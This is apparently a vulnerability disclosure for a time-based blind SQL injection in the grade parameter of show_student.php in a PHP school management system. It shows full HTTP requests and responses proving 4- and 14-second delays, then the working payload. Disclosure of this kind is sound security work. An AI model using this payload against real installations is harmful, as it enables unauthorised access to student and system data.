

SQL injection vulnerability exists in grade parameter of /view/show\_student.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab shows a GET request to /std1/view/show\_student.php with a payload that includes a 4-second sleep command. The 'Response' tab shows the server's response, which is an HTML page with a table structure. The status bar at the bottom indicates 'Done' and '814 bytes | 4,038 millis'.

```
Request
Pretty Raw Hex
1 GET /std1/view/show_student.php?exam=6&grade=
  '%2B(select(0)from(select(sleep(4)))v)%2B'&my_index=
  [object%20HTMLInputElement]&year=2024 HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11

Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:13:32 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 625
8
9 <div class="col-md-8">
10 <div class="box">
11 <div class="box-header">
12 <h3 class="box-title">
  My Student
13 </h3>
14 </div>
15 <!-- /.box-header -->
16 <div class="box-body table-responsive">
17 <table id="example1" class="table
  table-bordered table-striped">
18 <thead>
19 <th class="col-md-1">
```

Sleep time is 14s:

The screenshot shows the 'Request' and 'Response' tabs in a web browser's developer tools. The 'Request' tab shows a GET request to /std1/view/show\_student.php with a payload that includes a 14-second sleep command. The 'Response' tab shows the server's response, which is an HTML page with a table structure. The status bar at the bottom indicates 'Done' and '814 bytes | 14,003 millis'.

```
Request
Pretty Raw Hex
1 GET /std1/view/show_student.php?exam=6&grade=
  '%2B(select(0)from(select(sleep(14)))v)%2B'&my_index=
  [object%20HTMLInputElement]&year=2024 HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11

Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:14:03 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 625
8
9 <div class="col-md-8">
10 <div class="box">
11 <div class="box-header">
12 <h3 class="box-title">
  My Student
13 </h3>
14 </div>
15 <!-- /.box-header -->
16 <div class="box-body table-responsive">
17 <table id="example1" class="table
  table-bordered table-striped">
18 <thead>
19 <th class="col-md-1">
```

Payload: grade='%2B(select(0)from(select(sleep(14)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>